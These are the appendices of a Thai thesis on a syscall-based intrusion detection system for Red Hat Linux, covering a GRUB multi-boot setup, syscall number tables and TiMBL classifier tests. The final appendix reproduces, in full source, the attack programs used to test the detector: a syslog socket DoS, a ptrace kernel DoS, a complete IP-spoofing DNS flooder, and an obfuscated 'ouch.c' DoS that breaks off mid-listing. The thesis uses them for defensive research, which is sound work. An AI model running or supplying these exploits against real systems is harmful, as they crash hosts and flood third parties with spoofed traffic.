ภาคผนวก ก

การปรับแต่งโปรแกรม boot loader

การปรับแต่งโปรแกรม boot loader เป็นการปรับแต่งให้สามารถเลือกใช้งานระบบปฏิบัติการลินุกซ์ตามที่ต้องการได้โดยใช้ปุ่มลูกศรขึ้นหรือลงของคีย์บอร์ดเพื่อเลือกระบบปฏิบัติการตอนเปิดเครื่องคอมพิวเตอร์ เนื่องจากวิทยานิพนธ์ที่ทำนี้ต้องทดสอบการทำงานของระบบตรวจจับการบุกรุกบนระบบปฏิบัติการลินุกซ์เรดแฮ็ทหลายเวอร์ชันคือ เวอร์ชัน 6.1 เวอร์ชัน 7.0 และเวอร์ชัน 9.0 ผู้ทำวิจัยจึงได้หาวิธีการติดตั้งระบบปฏิบัติการทั้ง 3 เวอร์ชันลงไปในฮาร์ดดิสก์ก้อนเดียวกันเพื่อเป็นการลดทรัพยากรของจำนวนฮาร์ดดิสก์และจำนวนเครื่องคอมพิวเตอร์ในการใช้งาน

ในการติดตั้งระบบปฏิบัติการลินุกซ์เรดแฮ็ททั้ง 3 เวอร์ชันลงไปในฮาร์ดดิสก์ก้อนเดียวกันต้องแบ่งส่วน (พาร์ทิชัน) ของฮาร์ดดิสก์ให้มีความเหมาะสม สำหรับฮาร์ดดิสก์ที่ใช้ทำวิทยานิพนธ์มีการแบ่งส่วนไว้ดังภาพประกอบ ก.1

hda1	hda5	hda6	hda7	hda8
2863 MB DOS (backup)	2102 MB RedHat 6.1	2102 MB RedHat 7.0	2400 MB RedHat 9.0	259 MB swap

ภาพประกอบ ก.1 การแบ่งส่วนของฮาร์ดดิสก์ในการทำวิทยานิพนธ์

จากภาพการแบ่งส่วนของฮาร์ดดิสก์ใช้มุมมองตามแบบของลินุกซ์เรดแฮ็ทรวมกับของ DOS (Microsoft Windows) ลินุกซ์เรดแฮ็ทเรียกชื่อของการแบ่งส่วนฮาร์ดดิสก์ด้วย hdaX โดยที่ X เป็นเลขฐานสิบซึ่งใช้บอกว่าเป็นการแบ่งส่วนแบบใด

- hda1 แบ่งส่วนเป็น primary และกำหนดให้ active เมื่อเปิดเครื่องคอมพิวเตอร์ขึ้นมาเพื่อใช้งานเก็บสำรองข้อมูล ระบบแฟ้มข้อมูลเป็นแบบ FAT 32

- hda5 แบ่งส่วนเป็น logical ใช้งานเพื่อติดตั้งระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1 ระบบแฟ้มข้อมูลเป็นแบบ Ext2
- hda6 แบ่งส่วนเป็น logical ใช้งานเพื่อติดตั้งระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 7.0 ระบบแฟ้มข้อมูลเป็นแบบ Ext2
- hda7 แบ่งส่วนเป็น logical ใช้งานเพื่อติดตั้งระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0 ระบบแฟ้มข้อมูลเป็นแบบ Ext2
- hda8 แบ่งส่วนเป็น logical ใช้งานเพื่อเป็นพื้นที่ของหน่วยความจำแบบสับเปลี่ยน (swap memory) ระบบแฟ้มข้อมูลเป็นแบบ swap

สำหรับลำดับขั้นตอนในการติดตั้งระบบปฏิบัติการลินุกซ์เรดแฮ็ทนั้นให้ติดตั้งเรดแฮ็ท เวอร์ชัน 9.0 เป็นลำดับสุดท้ายเพราะโดยปกติแล้วระบบปฏิบัติการลินุกซ์ที่ถูกติดตั้งลงไปในครั้งสุดท้ายจะทำหน้าที่เป็นตัวเริ่มต้นการทำงานของเครื่องเมื่อเปิดเครื่องคอมพิวเตอร์ให้ทำงาน เรดแฮ็ท เวอร์ชัน 9.0 ใช้โปรแกรม loader ที่ชื่อว่า grub แต่เรดแฮ็ท เวอร์ชัน 6.1 และเวอร์ชัน 7.0 ใช้โปรแกรม loader แบบเดียวกันคือ lilo ซึ่งเมื่อติดตั้งลงไปแล้ว lilo ไม่สามารถทำให้ระบบปฏิบัติการลินุกซ์เรดแฮ็ทเวอร์ชันอื่นทำงานได้

การปรับแต่งให้ grub สามารถเลือกเริ่มต้นการทำงานระบบปฏิบัติการลินุกซ์เรดแฮ็ทเวอร์ชันอื่นได้หลังจากติดตั้งระบบปฏิบัติการลินุกซ์เรดแฮ็ททั้ง 3 เวอร์ชันลงไปเรียบร้อยแล้ว ต้องทำตามลำดับขั้นตอนดังต่อไปนี้

1. เปิดคอมพิวเตอร์เข้าสู่ระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0
2. ใช้โปรแกรม editor เช่น vi หรือ pico ที่ระบบปฏิบัติการเตรียมไว้ให้เปิดแฟ้มปรับแต่ง grub โดยใช้คำสั่ง

   vi /etc/grub.conf หรือ

   pico /etc/grub.conf
3. แก้ไขข้อมูลให้มีความสัมพันธ์กับการแบ่งส่วนฮาร์ดดิสก์ (ดูภาพประกอบ ก.1 และภาพประกอบ ก.2 ร่วมกัน)

boot loader ของระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1 และเวอร์ชัน 7.0 มีแฟ้มปรับแต่งคือ /etc/lilo.conf เหมือนกันทั้ง 2 เวอร์ชัน ซึ่งในการปรับแต่ง grub ต้องทราบชื่อแฟ้ม ".img" และเวอร์ชันของ vmlinuz ของเรดแฮ็ทเวอร์ชันอื่นที่จะเรียกให้ทำงานด้วย สำหรับการปรับแต่งแฟ้ม grub.conf ในการทำวิทยานิพนธ์เป็นดังภาพประกอบ ก.2

```
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE:  You do not have a /boot partition.  This means that
#          all kernel and initrd paths are relative to /, eg.
#          root (hd0,6)
#          kernel /boot/vmlinuz-version ro root=/dev/hda7
#          initrd /boot/initrd-version.img
#boot=/dev/hda

default=0
timeout=10
splashimage=(hd0,6)/boot/grub/splash.xpm.gz
title RedHat Linux (2.4.20-8)
        root (hd0,6)
        kernel /boot/vmlinuz-2.4.20-8 ro root=LABEL=/1
        initrd /boot/initrd-2.4.20-8.img
title RedHat 7.0
        rootnoverify (hd0,5)
        kernel  /boot/vmlinuz-2.2.16-22 ro      root=/dev/hda6
title RedHat 6.1
        rootnoverify (hd0,4)
        kernel  /boot/vmlinuz-2.2.12-20 ro      root=/dev/hda5
        initrd  /boot/initrd-2.2.12-20.img
```

ภาพประกอบ ก.2 รายละเอียดในแฟ้ม /etc/grub.conf ของลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0

ภาคผนวก ข

การกำหนดชื่อและหมายเลขซิสเท็มคอลในระบบปฏิบัติการลินุกซ์เรดแฮ็ท

ข.1 ระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1

ระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1 ได้กำหนดชื่อและหมายเลขซิส-เท็มคอลไว้ในแฟ้ม /usr/src/linux-2.2.12/include/asm-i386/unistd.h ภาพประกอบ ข.1 เป็นชื่อและหมายเลขซิสเท็มคอลที่ใช้งานกับระบบตรวจจับการบุกรุก เมื่อติดตามการทำงานของโปรเซสจะพบว่าชื่อของซิสเท็มคอลที่ถูกเรียกใช้จะเป็นดังภาพประกอบ ข.1 และหมายเลขที่กำกับไว้คือหมายเลขที่สัมพันธ์กันกับชื่อของซิสเท็มคอลนั้น ในการทำงานตรวจสอบการบุกรุกจะเปลี่ยนชื่อซิสเท็มคอลให้เป็นหมายเลขตามที่ได้กำหนดไว้นี้

_exit	1	lseek	19	kill	37
fork	2	getpid	20	rename	38
read	3	mount	21	mkdir	39
write	4	umount	22	rmdir	40
open	5	setuid	23	dup	41
close	6	getuid	24	pipe	42
waitpid	7	stime	25	times	43
creat	8	ptrace	26	prof	44
link	9	alarm	27	brk	45
unlink	10	oldfstat	28	setgid	46
execve	11	pause	29	getgid	47
chdir	12	utime	30	signal	48
time	13	stty	31	geteuid	49
mknod	14	gtty	32	getegid	50
chmod	15	access	33	acct	51
lchown	16	nice	34	umount2	52
break	17	ftime	35	lock	53
oldstat	18	sync	36	ioctl	54

ภาพประกอบ ข.1 ชื่อและหมายเลขซิสเท็มคอลของระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1

fcntl	55	uselib	86		
mpx	56	swapon	87	ipc	117
setpgid	57	reboot	88	fsync	118
ulimit	58	readdir	89	sigreturn	119
oldolduname	59	mmap	90	clone	120
umask	60	munmap	91	setdomainname	121
chroot	61	truncate	92	uname	122
ustat	62	ftruncate	93	modify_ldt	123
dup2	63	fchmod	94	adjtimex	124
getppid	64	fchown	95	mprotect	125
getpgrp	65	getpriority	96	sigprocmask	126
setsid	66	setpriority	97	create_moduleule	127
sigaction	67	profil	98	init_module	128
sgetmask	68	statfs	99	delete_module	129
ssetmask	69	fstatfs	100	get_kernel_syms	130
setreuid	70	ioperm	101	quotactl	131
setregid	71	socketcall	102	getpgid	132
sigsuspend	72	syslog	103	fchdir	133
sigpending	73	setitimer	104	bdflush	134
sethostname	74	getitimer	105	sysfs	135
setrlimit	75	stat	106	personality	136
getrlimit	76	lstat	107	afs_syscall	137
getrusage	77	fstat	108	setfsuid	138
gettimeofday	78	olduname	109	setfsgid	139
settimeofday	79	iopl	110	_llseek	140
getgroups	80	vhangup	111	getdents	141
setgroups	81	idle	112	_newselect	142
select	82	vm86old	113	flock	143
symlink	83	wait4	114	msync	144
oldlstat	84	swapoff	115	readv	145
readlink	85	sysinfo	116	writev	146

ภาพประกอบ ข.1 ชื่อและหมายเลขซิสเท็มคอลของระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1 (ต่อ)

getsid	147	nanosleep	162	rt_sigtimedwait	177
fdatasync	148	mremap	163	rt_sigqueueinfo	178
_sysctl	149	setresuid	164	rt_sigsuspend	179
mlock	150	getresuid	165	pread	180
munlock	151	vm86	166	pwrite	181
mlockall	152	query_module	167	chown	182
munlockall	153	poll	168	getcwd	183
sched_setparam	154	nfsservctl	169	capget	184
sched_getparam	155	setresgid	170	capset	185
sched_setscheduler	156	getresgid	171	sigaltstack	186
sched_getscheduler	157	prctl	172	sendfile	187
sched_yield	158	rt_sigreturn	173	getpmsg	188
sched_get_priority_max	159	rt_sigaction	174	putpmsg	189
sched_get_priority_min	160	rt_sigprocmask	175	vfork	190
sched_rr_get_interval	161	rt_sigpending	176		

ภาพประกอบ ข.1 ชื่อและหมายเลขซิสเท็มคอลของระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1 (ต่อ)

ข.2 ระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 7.0

ระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 7.0 ได้กำหนดชื่อและหมายเลขซิส-เท็มคอลไว้ในแฟ้ม /usr/include/asm/unistd.h ชื่อและหมายเลขซิสเท็มคอลที่แสดงในภาพประกอบ ข.2 นี้เป็นส่วนที่ลินุกซ์เรดแฮ็ท เวอร์ชัน 7.0 กำหนดเพิ่มขึ้นมาจากลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1 เมื่อติดตามการทำงานของโปรเซสจะพบว่าซิสเท็มคอลหมายเลข 1-190 มีชื่อในการเรียกใช้งานตรงกันกับภาพประกอบ ข.1 ในการทำงานตรวจสอบการบุกรุกบนลินุกซ์เรด-แฮ็ท เวอร์ชัน 7.0 จะเปลี่ยนชื่อซิสเท็มคอลให้เป็นหมายเลขตามที่ได้กำหนดไว้ในภาพประกอบ ข.2 โดยที่ชื่อและหมายเลขซิสเท็มคอลตั้งแต่หมายเลข 1-190 สามารถดูรายละเอียดได้จากภาพประกอบ ข.1

ugetrlimit	191	truncate64	193	stat64	195
mmap2	192	ftruncate64	194	lstat64	196

ภาพประกอบ ข.2 ชื่อและหมายเลขซิสเท็มคอลของระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 7.0

fstat64	197	setgroups32	206	setfsuid32	215
lchown32	198	fchown32	207	setfsgid32	216
getuid32	199	setresuid32	208	pivot_root	217
getgid32	200	getresuid32	209	mincore	218
geteuid32	201	setresgid32	210	madvise	219
getegid32	202	getresgid32	211	madvise1	219
setreuid32	203	chown32	212	getdents64	220
setregid32	204	setuid32	213	fcntl64	221
getgroups32	205	setgid32	214		

ภาพประกอบ ข.2 ชื่อและหมายเลขซิสเท็มคอลของระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 7.0 (ต่อ)

ข.3 ระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0

ระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0 ได้กำหนดชื่อและหมายเลขซิส-เท็มคอลไว้ในแฟ้ม /usr/include/asm/unistd.h ชื่อและหมายเลขซิสเท็มคอลที่แสดงในภาพประกอบ ข.3 นี้เป็นส่วนที่ลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0 กำหนดเพิ่มขึ้นมาจากลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1 และลินุกซ์เรดแฮ็ท เวอร์ชัน 7.0 ซึ่งในลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0 ไม่มีซิสเท็มคอลหมายเลข 222 เมื่อติดตามการทำงานของโปรเซสจะพบว่าซิสเท็มคอลหมายเลข 1-221 มีชื่อในการเรียกใช้งานตรงกันกับภาพประกอบ ข.1 และภาพประกอบ ข.2 ในการทำงานตรวจสอบการบุกรุกบนลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0 จะเปลี่ยนชื่อซิสเท็มคอลให้เป็นหมายเลขตามที่ได้กำหนดไว้ในภาพประกอบ ข.3 โดยที่ชื่อและหมายเลขซิสเท็มคอลตั้งแต่หมายเลข 1-221 สามารถดูรายละเอียดได้จากภาพประกอบ ข.1 และภาพประกอบ ข.2

security	223	lgetxattr	230	fremovexattr	237
gettid	224	fgetxattr	231	tkill	238
readahead	225	listxattr	232	sendfile64	239
setxattr	226	llistxattr	233	futex	240
lsetxattr	227	flistxattr	234	sched_setaffinity	241
fsetxattr	228	removexattr	235	sched_getaffinity	242
getxattr	229	lremovexattr	236	set_thread_area	243

ภาพประกอบ ข.3 ชื่อและหมายเลขซิสเท็มคอลของระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0

get_thread_area	244	io_cancel	249	sys_epoll_create	254
io_setup	245	alloc_hugepages	250	sys_epoll_ctl	255
io_destroy	246	free_hugepages	251	sys_epoll_wait	256
io_getevents	247	exit_group	252	remap_file_pages	257
io_submit	248	lookup_dcookie	253	set_tid_address	258

ภาพประกอบ ข.3 ชื่อและหมายเลขซิสเท็มคอลของระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0 (ต่อ)

ภาคผนวก ค

ทดสอบการทำงานของโปรแกรม TiMBL

TiMBL สามารถกำหนดคลาสให้กับข้อมูลที่นำมาทดสอบเพื่อแยกประเภทคลาสการทำงานซึ่งเป็นข้อมูลที่โปรแกรม TiMBL ไม่เคยพบเห็นมาก่อนให้มีคลาสที่เหมาะสมที่สุดกับข้อมูลที่นำมาทดสอบนั้น โดยการเรียนรู้จากชุดข้อมูลซึ่งทราบคลาสแล้วที่เก็บบันทึกเอาไว้ในแฟ้มข้อมูลฝึกสอนระบบ ดังนั้นหากสามารถรวบรวมข้อมูลที่อยู่ในกลุ่มเดียวกันได้ละเอียดมากพอแล้วข้อมูลประเภทเดียวกันที่ไม่เคยเก็บรายละเอียดเอาไว้ในแฟ้มข้อมูลฝึกสอนระบบก็จะได้รับการแยกประเภทอย่างถูกต้องด้วย

จากความสามารถของ TiMBL ที่ได้กล่าวไว้จึงดำเนินการรวบรวมข้อมูลการทำงานของคำสั่ง ls บนระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 6.1 โดยใช้ option ซึ่งเรียกใช้งานบ่อยคือ option -l -t -a และคำสั่ง ls ที่ไม่เรียกใช้งาน option ไว้ในแฟ้มข้อมูลฝึกสอนระบบ จากนั้นทดลองเรียกใช้คำสั่ง ls ด้วย option อื่น ๆ คือ -s -u -k -o -n -m -q -U และเรียกใช้งาน option แบบผสมผสานกัน คือ -rs -inp เพื่อให้ TiMBL แยกประเภทข้อมูลว่าจะได้คลาสของการทำงานเป็นคลาส ls หรือไม่

จากการทดลองเรียกคำสั่ง ls ด้วย option แบบอื่น ๆ และ option แบบผสมผสานที่ไม่ได้เก็บข้อมูลเอาไว้ในแฟ้มข้อมูลฝึกสอนระบบพบว่า TiMBL สามารถแยกคลาสให้กับคำสั่ง ls ได้อย่างถูกต้อง

คำสั่งอีกคำสั่งหนึ่งซึ่งถูกนำมาทดสอบความสามารถของ TiMBL คือ ps เนื่องจาก ps มี option ของการทำงานหลายอย่าง ก่อนการทดสอบได้รวบรวมข้อมูลพฤติกรรมการทำงานของคำสั่ง ps แบบต่าง ๆ ไว้ในแฟ้มข้อมูลฝึกสอนระบบดังนี้คือ คำสั่ง ps ที่ไม่มี option ในการทำงาน และคำสั่ง ps ที่เรียกใช้งาน option -a -x -o -A -d T a g r x แล้วจึงทดลองเรียกใช้งานคำสั่ง ps ด้วย option อื่น ๆ คือ -s -t -u j v และ option แบบผสมผสานคือ -cfj เพื่อทดสอบความถูกต้องในการแยกประเภทข้อมูล ผลการทดลองที่ได้รับนั้น TiMBL สามารถแยกคลาสข้อมูลได้อย่างถูกต้องทั้งหมด โดยในขณะที่ทำการทดลองแฟ้มข้อมูลฝึกสอนระบบมีคลาสต่าง ๆ ทั้งหมด 28 คลาสดังต่อไปนี้คือ cat cc cfreq chmod clear cp grep hostname id kill2 top ktop man netstat su sshd timbl wc whereis which who whoami ls du ps login tar และ abnormal

ภาคผนวก ง

ระบบตรวจจับการบุกรุกบน Fedora

ระบบปฏิบัติการลินุกซ์ฟีโดราเป็นระบบปฏิบัติการที่ได้รับการพัฒนาต่อจากระบบปฏิบัติการลินุกซ์เรดแฮ็ท เวอร์ชัน 9.0 ซึ่งในงานวิจัยนี้ได้ทดสอบความสามารถในการทำงานของระบบตรวจจับการบุกรุกกับลินุกซ์ฟีโดราด้วย แต่ระบบตรวจจับการบุกรุกที่พัฒนาขึ้นเพื่อใช้งานบนลินุกซ์ฟีโดรามีปัญหากับการใช้งานโปรแกรม TiMBL ที่นำมาใช้แยกประเภทคลาส เนื่องจาก library ที่โปรแกรม TiMBL ต้องการไม่มีอยู่บนลินุกซ์ฟีโดรา ดังนั้นระบบตรวจจับการบุกรุกที่พัฒนาขึ้นเพื่อใช้งานบนระบบปฏิบัติการลินุกซ์เรดแฮ็ทจึงสามารถใช้งานได้กับลินุกซ์เรด-แฮ็ท เวอร์ชัน 9.0 เป็นเวอร์ชันสูงสุด

ภาคผนวก จ

โปรแกรมบุกรุกระบบที่ใช้ทดสอบการทำงานระบบตรวจจับการบุกรุก

จ.1 ตัวอย่างโปรแกรมกลุ่ม denial of service

โปรแกรม local denial of service attack against Linux (/dev/log & socket)

vulnerable systems: Linux 2.2.12, Linux 2.2.14, Linux 2.3.99-pre2

```
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )
{
        struct sockaddr SyslogAddr;
        int LogFile;
        int bufsize = sizeof(buf)-5;
        int i;
        for ( i = 0; i < bufsize; i++ )
                buf[i] = ' '+(i%95);
        buf[i] = '\0';
        SyslogAddr.sa_family = AF_UNIX;
        strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
        LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
        sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
        return 0;
}//end program Local Denial of Service attack against Linux (/dev/log & socket)
```

โปรแกรม Linux kernel local DoS

vulnerable systems: Linux from 2.2 upto 2.4.19

```
#include <sys/ptrace.h>

struct user_regs_struct {
        long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        long orig_eax, eip;
        unsigned short cs, __cs;
        long eflags, esp;
        unsigned short ss, __ss;
};

int main( void )
{
        int pid;
        char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
        void (* lcall7)( void ) = (void *) dos;
        struct user_regs_struct d;

        if( ! ( pid = fork() ) )
        {
                usleep( 1000 );
                (* lcall7)();
        }
        else
        {
                ptrace( PTRACE_ATTACH, pid, 0, 0 );
                while( 1 )
                {
                        wait( 0 );
```

```
                    ptrace( PTRACE_GETREGS, pid, 0, &d );
                    d.eflags |= 0x4100; /* set TF and NT */
                    ptrace( PTRACE_SETREGS, pid, 0, &d );
                    ptrace( PTRACE_SYSCALL, pid, 0, 0 );
                }
        }
        return 1;
}//end program Linux kernel local DoS
```

โปรแกรม DNS Abuser v0.4b

```
//Exploit code for denial of service attack using DNS

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <time.h>
#define IP_HEAD_BASE 20
#define UDP_HEAD_BASE 8
#define DEF_TIMES 1000
#define DNS_QSIZE 255
#define MAX_QUERYS 25 // maximum buffer size
#define MAX_SERVERS 25 // maximum buffer size
#define CNAME_LENGTH 255 // max CNAME length
```

```
#define DEF_DOMAINS "./domains.txt" // domain list file
#define DEF_QUERYS "./querys.txt" // query list file

struct DNS_MSG {
        HEADER head;
        char query[DNS_QSIZE];
};

struct dns_pkt {
        struct iphdr ip;
        struct udphdr udp;
        char data[1000];
};

struct domain_buff {
        int used;
        char cname[CNAME_LENGTH];
};

typedef struct domain_buff tdbuff;
tdbuff dnsquery[MAX_QUERYS];
tdbuff domains[MAX_SERVERS];
unsigned long saddr;
int sd, dptr, qptr; // socket & array pointers
FILE *dd, *qd; // file pointers

int startptr(tdbuff *buff, int buff_limit) // hash function
{
        int init = 0;
        init = getpid() % buff_limit;

        while (!buff[init].used)
        {
```

```
                if (++init > buff_limit) init = 0;
        }
        return init;
}

void rst_buff(tdbuff *b, int max)
{
        memset(b, 0, sizeof(tdbuff)*max);
}

void readln(FILE *f, tdbuff *buff)
{
        int eol = 0,
        i = 0;
        tdbuff b;
        rst_buff(&b, 1);

        do
        {
            b.cname[i] = fgetc(f);
            if (!ferror(f))
            {
                if (!feof(f))
                {
                    if (b.cname[i] == '\n')
                    {
                        b.cname[i] = '\0';
                        b.used = 1;
                        eol = 1;
                    }
                    else if ((i+1) >= CNAME_LENGTH)
                    {
```

```
                    fprintf(stderr, "\nInvalid CNAME or invalid file format.
                    Quitting...\n");
                    exit(7);
                }
                else
                {
                    i++;
                }
            }
            else
            {
                if (b.cname[i] == '\n')
                {
                    b.cname[i] = '\0';
                    b.used = 1;
                }
            }
        }
        else
        {
            fprintf(stderr, "\nRead error. Quitting...\n");
            exit(6);
        }
    }
    while ((!ferror(f) && !feof(f)) && !eol);

    if (!ferror(f) && !feof(f)) *buff = b;
}

unsigned long nameResolve(char *hostname)
{
    struct in_addr addr;
    struct hostent *hostEnt;
```

```
    if ((inet_aton(hostname, &addr)) == 0)
    {
        if (!(hostEnt=gethostbyname(hostname)))
        {
            fprintf(stderr,"\nTarget '%s' does not exist\n",hostname);
            exit(0);
        }
        bcopy(hostEnt->h_name,(char *)&addr.s_addr,hostEnt->h_length);
    }
    return addr.s_addr;
}


void forge (unsigned long daddr, unsigned short psrc, unsigned short pdst)
{
    struct sockaddr_in sin;
    struct dns_pkt dpk;
    struct DNS_MSG killer;
     int shoot, len;
     // adjust pointer ...

     if (qptr < MAX_QUERYS)
     {
          if(!dnsquery[dptr].used) qptr++;
     }
     else
     {
          qptr = 0;
     }
     dnsquery[qptr].used = 1;

     // build packets ...
```

```
 memset(&killer, 0, sizeof(killer));

killer.head.id = getpid();
killer.head.rd = 1;
killer.head.aa = 0;
killer.head.opcode = QUERY;
killer.head.qr = 0;
killer.head.qdcount = htons(1);
killer.head.ancount = htons(0);
killer.head.nscount = htons(0);
killer.head.arcount = htons(0);

strcat(killer.query, dnsquery[qptr].cname);
killer.query[strlen(dnsquery[qptr].cname) + 2] = 0x00FF;
killer.query[strlen(dnsquery[qptr].cname) + 4] = 0x0001;

memset(&dpk, 0, sizeof(dpk));

dpk.udp.source = psrc;
dpk.udp.dest = pdst;
len = (12 + strlen(killer.query) + 5);
dpk.udp.len = htons(UDP_HEAD_BASE + len);

memcpy(dpk.data, (void*)&killer, len);
dpk.ip.ihl = 5;
dpk.ip.version = 4;
dpk.ip.tos = 0;
dpk.ip.tot_len = htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
dpk.ip.frag_off = 0;
dpk.ip.ttl = 64;
dpk.ip.protocol = IPPROTO_UDP;
dpk.ip.saddr = saddr;
dpk.ip.daddr = daddr;
```

```
    memset(&sin, 0, sizeof(sin));

    sin.sin_family = AF_INET;
    sin.sin_port = pdst;
    sin.sin_addr.s_addr = daddr;

    shoot = sendto(sd ,
                   &dpk ,
                   (IP_HEAD_BASE + UDP_HEAD_BASE + len),
                   0 ,
                   (struct sockaddr *)&sin ,
                   sizeof(sin)
    );

    if (shoot < 0) fprintf(stderr, "SPOOF ERROR");
}

void doomzone (void)
{
    unsigned long daddr;
    unsigned short psrc, pdest;
    // adjust pointer ...
    if (dptr < MAX_SERVERS)
    {
      if(!domains[dptr].used) dptr++;
    }
    else
    {
      dptr = 0;
    }

    domains[dptr].used = 1;
```

```
    daddr = nameResolve(domains[dptr].cname);
    psrc = htons(1024 + (rand()%2000));
    pdest = htons(53);
    forge(daddr, psrc, pdest);
}

int main (int argc, char *argv[])
{
    int i, sd_opt, code;
    unsigned int times = DEF_TIMES;

    printf("\n\n\033[1;32mDNS Abuser v0.4b\033[0m");
    printf("\n\033[1;34mDNS-based flooder by Nemo -
            http://www.deepzone.org\033[0m");

    printf("\n\033[1;34mBased on FuSyS & |scaccol work: D00MDNS -
            http://www.s0ftpj.org\033[0m\n");
    // ->simple<- parameter checking :P

    if (argc < 2)
    {
      fprintf(stderr, "\nUsage: %s <target>", argv[0]);
      fprintf(stderr, "\n %s <target> <times> [<dns_servers.txt> <querys.txt>]\n\n", argv[0]);
      exit(0);
    }

    saddr = nameResolve(argv[1]);
    if (argc > 2) times = atoi(argv[2]);
    // loading files
    if (argc > 3)
    {
        if ((dd = fopen(argv[4], "r")) == NULL)
        {
```

```
        fprintf(stderr, "\nCannot open domain file. Quitting...\n");
        exit(4);
      }

      if ((qd = fopen(argv[5], "r")) == NULL)
      {
        fprintf(stderr, "\nCannot open query file. Quitting...\n");
        exit(5);
      }
}

else
{
      if((dd = fopen(DEF_DOMAINS, "r")) == NULL)
      {
        fprintf(stderr, "\nCannot open domain file. Quitting...\n");
        exit(4);
      }

      if((qd = fopen(DEF_QUERYS, "r")) == NULL)
      {
        fprintf(stderr, "\nCannot open query file. Quitting...\n");
        exit(5);
      }
}

rst_buff(domains, MAX_SERVERS);
rst_buff(dnsquery, MAX_QUERYS);

i = 0;
do
{
      readln(dd, &domains[i]);
```

```
    i++;
}
while ((i < MAX_SERVERS) && !feof(dd));

i = 0;
do
{
    readln(qd, &dnsquery[i]);
    i++;
}
while ((i < MAX_QUERYS) && !feof(qd));

// opening sockets ...
srand(time(NULL));
sd_opt = 1;


if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
    fprintf(stderr, "\nSocket error. Quitting...\n");
    exit(2);
}

if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &sd_opt, sizeof(sd_opt)) < 0)
{
    fprintf(stderr, "\nIP Error. Quitting...\n");
    exit(3);
}

dptr = startptr(domains, MAX_SERVERS);
qptr = startptr(dnsquery, MAX_QUERYS);
// flooding engine
printf("\n\033[1;34mFlooding %s:\033[0m\n", argv[1]);
```

```
    while(times--)
    {
        doomzone();
        printf("\033[1;34m.\033[0m");
    }
    printf("\n\n");
    fclose(dd);
    fclose(qd);
    return(0);
}//end program DNS Abuser v0.4b
```

โปรแกรม ouch.c local DoS

```
#define a main
#define b (
#define c int
#define e ,
#define f char
#define g *
#define i )
#define j {
#define l =
#define m 1
#define n ;
#define p [
#define q +
#define r ]
#define s <
#define t }
#define u unlink
#define v for
#define w signal
```

```
#define x fork
#define y system
a b c d e f g g h i j c k l m n f o p b m q m i g b m q m i g b m q m i g b m
q m i q b m q m i r l j b m q m i g b m q m i g b m q m i g b m q m i g b m q
m i g b m q m i q b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q
b m q m i g b m q m i g b m q m i q b m q m i g b m q m i e b m q m i g b m q
m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g
b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i g b m q
m i q b m q m i q m e b m q m i g b m q m i g b m q m i g b m q m i g b m q m
i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q b m q m i g b
m q m i g b m q m i q b m q m i g b m q m i q m e b m q m i g b m q m i g b m
q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i
g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i g b m q m i q b m
q m i g b m q m i q b m q m i q m e b m q m i g b m q m i g b m q m i g b m q
m i g b m q m i e b m q m i g b m q m i g b m q m i g b m q m i g b m q m i q
b m q m i g b m q m i g b m q m i q m e b m q m i g b m q m i g b m q
m i g b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i g
b m q m i g b m q m i q b m q m i g b m q m i q m e b m q m i g b m q m i g b m
q m i g b m q m i g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i
g b m q m i g b m q m i q b m q m i g b m q m i g b m q m i g b m q m i q b m
